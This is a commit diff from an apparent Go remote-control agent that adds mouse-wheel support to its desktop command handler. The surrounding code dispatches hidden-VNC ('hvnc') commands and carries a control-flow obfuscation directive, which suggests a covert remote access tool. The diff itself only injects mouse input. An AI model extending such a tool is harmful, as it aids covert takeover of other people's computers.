add scroll wheel support to remote desktop
This commit is contained in:
@@ -888,6 +888,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendMouseUp(btn)
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
return nil
|
||||
case "desktop_mouse_wheel":
|
||||
if !env.MouseControl {
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
return nil
|
||||
}
|
||||
payload := payloadAsMap(envelope["payload"])
|
||||
delta, _ := payloadInt32(payload, "delta")
|
||||
if x, okX := payloadInt32(payload, "x"); okX {
|
||||
if y, okY := payloadInt32(payload, "y"); okY {
|
||||
absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
|
||||
setCursorPos(absX, absY)
|
||||
}
|
||||
}
|
||||
sendMouseWheel(delta)
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
return nil
|
||||
case "desktop_key_down":
|
||||
if !env.KeyboardControl {
|
||||
sendCommandResultAsync(env, cmdID)
|
||||
|
||||
@@ -44,7 +44,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
|
||||
case "command":
|
||||
cmdType, _ := envelope["commandType"].(string)
|
||||
switch cmdType {
|
||||
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up",
|
||||
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
|
||||
"desktop_key_down", "desktop_key_up", "desktop_text",
|
||||
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
|
||||
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
|
||||
|
||||
@@ -23,6 +23,7 @@ const (
|
||||
MOUSEEVENTF_RIGHTUP = 0x0010
|
||||
MOUSEEVENTF_MIDDLEDOWN = 0x0020
|
||||
MOUSEEVENTF_MIDDLEUP = 0x0040
|
||||
MOUSEEVENTF_WHEEL = 0x0800
|
||||
MOUSEEVENTF_ABSOLUTE = 0x8000
|
||||
MOUSEEVENTF_VIRTUALDESK = 0x4000
|
||||
|
||||
@@ -97,6 +98,10 @@ func sendMouseUp(button int) {
|
||||
}
|
||||
}
|
||||
|
||||
func sendMouseWheel(delta int32) {
|
||||
sendMouseInput(MOUSEEVENTF_WHEEL, uint32(delta))
|
||||
}
|
||||
|
||||
func sendMouseInput(flags uint32, mouseData uint32) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
var inp input
|
||||
|
||||
Reference in New Issue
Block a user